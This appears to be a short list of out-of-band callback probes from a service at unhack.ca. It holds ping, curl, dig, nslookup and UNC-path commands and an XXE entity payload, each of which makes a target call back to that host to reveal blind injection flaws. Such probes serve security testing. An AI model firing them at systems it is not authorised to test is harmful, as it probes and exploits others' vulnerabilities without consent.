$ ping -c1 -p 00a0290e486431c821d7c212477f1900 unhack.ca
 

$ curl http://unhack.ca/p/a0290e486431c821d7c212477f19
 

$ dig a0290e486431c821d7c212477f19 @unhack.ca
 

$ dig a0290e486431c821d7c212477f19.ns.unhack.ca
 

C:\> nslookup a0290e486431c821d7c212477f19 unhack.ca
 

C:\> type \\unhack.ca\a0290e486431c821d7c212477f19\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a0290e486431c821d7c212477f19">]>
    <foo>&xxe;</foo>